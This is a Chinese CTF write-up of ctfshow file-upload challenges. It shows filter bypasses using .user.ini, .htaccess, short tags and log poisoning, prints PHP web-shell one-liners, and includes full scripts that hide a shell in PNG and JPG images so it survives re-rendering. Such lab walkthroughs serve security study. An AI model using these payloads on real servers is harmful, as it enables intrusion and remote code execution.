March 2, 2023

CTFSHOW-文件上传

Web151(前端验证是无效的)

image.png
进入页面只让我们上传png格式的图片,我们只需要burpsuite抓包,然后用burpsuite发送绕过前端即可
image.png
最后蚁剑连接,读取flag:
image.png

Web152(服务端MIME类)

解法和上一题一样,先上传个png,然后抓包:
image.png
把content-type改为png的格式即可
这里content-type的类型有:

  • image/png
  • image/gif
  • jpg image/jpeg

最后蚁剑连接即可

Web153(.user.ini利用)

image.png

这题后端改后缀不行,文件头也不行
这一题要用.user.ini配置文件,和.htaccess类似
但是有区别,.user.ini在nginx或者Apache都可以用,而.htaccess只可以用在Apache里
用法也几乎相似:
上传png文件后抓包,再跟着上传一个.user.ini文件:
image.png
之后直接URL+/upload就可以自动解析该文件了,这个触发需要有php文件,由于upload文件夹下有个index.php,所以可以使用
image.png
这里也可以看看他文件上传的php源码:
image.png
可以看到是把php拉入了黑名单的,所以其他方法行不通,这里后缀名只要不等于php都可以上传,然后文件类型改MIME就可以了!

Web154(短标签+.user.ini)

抓个包:
image.png
发现即使上传后缀名为png的也会失败,提示是说,文件内容出错,也就是说ban掉了什么关键字
经过测试发现是ban掉了php:
image.png
可以看到只要去掉了个p就可以继续上传了,这里就要用到短标签了:

前提是开启配置参数short_open_tags=on

  1. 等价于

不需要开启参数设置

  1. <% echo 123;%>

前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。

不需要修改参数开关,但是只能在7.0以下可用。

随便选一种改一下,然后再上传.user.ini,最后和web153就可以蚁剑连接进去了:
image.png
查看一下源码:
image.png
可以看到这边ban了php这个字符串

Web155(同上)

解法一致

Web156(同上)

多ban了我们的[符号
我们用中括号{}是等效的
image.png

Web157(rce)

这里在上一题的基础上ban掉了{,[,;
所以这里用不了一句话木马,那就改变思路,直接RCE了
在png文件里写内容:
image.png
在写入.user.ini文件即可

Web158(同上)

解法一致

Web159(同上)

在上一题的基础上又ban掉了括号(
这样的话就用不了system和exec类的了
我们用echo 就好了

Web160(包含日志文件)

上一题的基础上ban了反引号`和log和空格
ban了log但是我们还是可以使用日志文件
我们在1.png里写下:include “/var/lo”.”g/nginx/access.lo”.”g”即可
用连接符和tab分别绕过
image.png

然后再user-agent里写下一句话木马
用蚁剑连接即可

Web161(包含日志+文件头)

再次基础上加上了文件头验证
image.png
然后在user-agnet随便调个马上传,蚁剑连接即可
image.png
可以看到getimagesize函数

Web162(远程文件包含或者条件竞争)

无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816

Web163(条件竞争)

无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816

Web164(PNG图片二次渲染)

那那那那那啥,这一题刚开始有点懵逼,理回来了,因为涉及了盲区
好,入题:
这一题是什么情况呢,你会发现你传的假png图片不行了,你加文件头也没用:
image.png
那这就困扰了,那是不是没办法了呢?
上传一张图片木马看看:
image.png
进入了如下的页面,然后下载这张图片看看源码:
image.png
本应在尾部的一句话木马给刷掉了,说明这里存在二次渲染,国外大佬给的脚本生成一个图片马,可以防止被刷掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

查看这个图片源码:
image.png
可以看到中间夹了个木马,这样就可以在网站二次渲染这图片的时候运行代码,进入上传目录:
image.png
然后抓个包:
image.png
可以看到命令成功执行,接下来一步步读取答案即可!

出于好奇把源码考下来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("png"))){
$png = imagecreatefrompng($_FILES["file"]["tmp_name"]);
if($png==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".png";
imagepng($png,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传png格式图片");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

在里面可以看到imagecreatefrompng函数,该函数可以由一个文件创造新的png图片
成功后返回图象对象,失败后返回 false
imagepng函数可以 以 PNG 格式将图像输出到浏览器或文件,也就是把图片解析出来
这就是PNG图片二次渲染的步骤

Web165(JPG图片二次渲染)

题目逐渐走样,这次上传png正常图片无效
上传jpg正常图片有效,抓个包后发现:
image.png
可以看到有个ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
这是JPG二次渲染的痕迹,说明这一题是JPG二次渲染
面对这样的基霸题,还是用大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
<?php
$miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

用这个脚本去渲染你的JPG图片
注意:这里我们要渲染的JPG文件,首先应该上传至网站,然后再网站的上传路径,再次下载,这样做的目的是使得我们用脚本渲染时,改动的地方尽量缩小,使得我们的木马可以更大可能的保留

之后直接php 脚本.php 你的图片,最后会生成一个payload_你的图片,我们上传脚本跑出来的图片,抓包:
image.png
得到了回显,接下来蚁剑直连即可:
image.png

Web166(ZIP)

发现无法上传图片文件,点开网页源码查看:
image.png
要上传压缩包,上传之后会进入下载页面:
image.png
这应该是被文件包含了,我们直接在压缩包文件尾部写上一句话木马,然后用蚁剑上号

Web167(.htaccess利用)

进入页面查看源码后会发现只让上传JPG文件,正常上传一个后:
image.png
会显示出来,这里为了看看是不是二次渲染,我这张图片加了一句话木马,然后把他下载下来,发现一句话木马仍然在,说明没有二次渲染

这道题只是没有解析我们的jpg图片,得想办法解析这个文件,BURPSUITE先抓个包:
image.png
上传.htaccess文件发现可行,之后再次访问该图片:
image.png
已经给解析了,蚁剑上号

Web168(基础免杀)

进入网页提示上传png格式文件,上传一个图片马上去,发现里面有些内容被ban了无法正常上传
发现居然可以上传php文件,那我们不就直接构造1.php文件
经过测试发现是ban了eval,system等一系列函数
我们首先使用var_dump(scandir(‘.’))去查看当前目录的文件:
image.png
发现什么也没有,查看../发现有flag和flagaa文件,盲猜flagaa是真的。
include被ban了,用show_source(‘../flagaa.php’)去读取flag文件:
image.png
payload2:
使用<?php $_REQUEST[0]($_REQUEST[1]);?>写进1.php之后访问

Web169(包含日志)

前端提示上传zip文件,可以上传一个正常zip文件,或者改一下前端代码,之后burpsuite抓包,发现验证的是MIME类型的PNG,对后缀名没什么要求,上传.user.ini:
image.png
因为触发user.ini需要访问php文件,再上传一个1.php,内容随便写什么,空的都可以
之后访问url+/upload/1.php后就会发现我们的日志文件被包含了
在user-agent里写入一句话木马,蚁剑上号:
image.png
窥探一眼源代码

Web170(同上)

结束

Uploader(Hnusec)

正如其名,鉴定为文件上传类型的
进入页面先要让我们登入一个账号,随便登入一个进去:
到达了文件上传界面,这里我上传了个假的png图片,但是被识别掉了,说明这个识别的是文件头
所以我上传了一个一句话木马带png文件头的php文件:
上传成功,点进源代码查看:
发现后缀名又被改成了png!这里也尝试了双写绕过,发现代码是将整个后缀名直接变成png
也尝试了burp改包,但是发送过去后不会有回显,黔驴技穷的时候看到了个东西:
好家伙躲这里呢,这是一个提示文件,直接URL/hint.zip下载查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
 if ($_FILES['file']['size'] > 200000) {
   error('Uploaded file is too large.');
 }
 
 // check file type
 $finfo = finfo_open(FILEINFO_MIME_TYPE);
 $type = finfo_file($finfo, $_FILES['file']['tmp_name']);
 finfo_close($finfo);
 if (!in_array($type, ['image/png'])) {
   error('Uploaded file is not PNG format.');
 }
 
 // check file width/height
 $size = getimagesize($_FILES['file']['tmp_name']);
 if ($size[0] > 250 || $size[1] > 250) {
   error('Uploaded image is too large.');
 }
 if ($size[2] !== IMAGETYPE_PNG) {
   error('What happened...? OK, the flag is: <code>' . getenv('FLAG1') . '</code>');
 }

这是文件内容,这里有很多陌生的函数不过问题不大

在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回个数组
也就是说要finfo_file()识别为png,而getimagesize()不识别为png我们打开010editor构造一个16进制文件:
image.png
将普通png图片的第一行(文件头)放入新建的文件中:
我们第二行不放任何信息,来让getimagesize()出错返回false,从而逃过了getimagesize函数!!
之后将文件保存为png格式,上传:
答案直接就蹦出来了!
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW